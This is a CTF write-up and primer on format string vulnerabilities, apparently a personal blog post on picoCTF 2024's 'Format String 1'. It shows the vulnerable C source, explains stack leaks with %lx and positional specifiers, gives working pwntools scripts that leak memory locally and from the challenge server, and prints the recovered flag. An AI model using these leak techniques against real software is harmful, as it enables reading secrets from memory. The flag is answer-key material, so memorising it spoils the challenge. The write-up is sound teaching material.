Format String Vulnerability Primer
In 2024 this is not too common but regardless I found about 7 CVEs published this year related to format string vulnerabilities. For that reason I thought it was good to do some research on the topic.
Pico CTF 2024 Format String CTFs
Format String 1
I jumped into this CTF without reading much about differences in approach for 32-bit and 64-bit architectures. The challenge binary is compiled for 64 bit but I will also compile a 32 bit binary for better understanding.
For this challenge we need to leak values off the stack and ultimately leak the flag. Lets inspect the materials provided.
Source Code Analysis
// #include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
Inspecting the source code there is no buffer overflow present but the scanf
and printf
function will allow us to perform some format string exploits. The are 3 values read in from files, with one containing the flag, let's see how we can leak this value.
64 Bit
The provided binary is already compiled for 64 bit:

Since we want to leak contents from the stack we can pass%lx
to our input buffer which will leak registers rsi, rdx, rcx, r8, and r9 first, and then successive stack lines. We can also access specific arguments using the %n$lx
syntax replacing n with the argument number we are interested in.
We will perform the exploit locally create the required files for the binary secret-menu-item-1.txt, secret-menu-item-2.txt, and flag.txt and lets get started. I put 'AAAA' in the flag.txt for local testing.

Using an underscore for a delimiter I see the values are getting leaked from the first few registers. Let's make a script to see if we can leak the contents of flag.txt by looping through 20 times.
from pwn import *
context.binary = binary = ELF('./format-string-1', checksec=False)
for i in range(20):
try:
payload = f"%{i}$lx"
p = process()
p.recvline() #
print(payload)
p.sendline(payload.encode())
print(p.recvuntil(b'!\n'))
except:
continue
When i is 14, the contents of the flag.txt files appear to be leaked. Recall that 41 is the hexdecimal representation for ascii 'A'.

Let's move on to the remote server to see if we can leak the flag in a similar way, expecting the flag contents to begin leaking when i is 14. The flag spans is longer than 8 bytes long so we need to leak a few more values. The values get leaked in little endian order so the least significant bits get leaked first. I had to reverse them when creating the flag.
from pwn import *
for i in range(14,19):
try:
p = remote('mimas.picoctf.net', 51224)
payload = f"%{i}$lx"
p.recvline() #
print(f"Sending {payload} to buffer")
p.sendline(payload.encode())
data = (p.recvline().split()[3])
print(f"{i}th value leaked is {data}")
except:
continue
#Values that got leaked each iteration
flag = '\x70\x69\x63\x6f\x43\x54\x46\x7b'
flag += '\x34\x6e\x31\x6d\x34\x31\x5f\x35'
flag += '\x37\x79\x31\x33\x5f\x34\x78\x34'
flag += '\x5f\x66\x31\x34\x67\x5f\x39\x31'
flag += '\x33\x35\x66\x64\x34\x65\x7d'
print(flag)

32 Bit
Let's compile the source code into a 32-bit binary to see the differences in the approach. The main difference is 32 bit architecture has arguments all on the stack while the 64 bit binary uses the first 6 registers. We can leak values using the %s
format specifier instead.

Resources
Last updated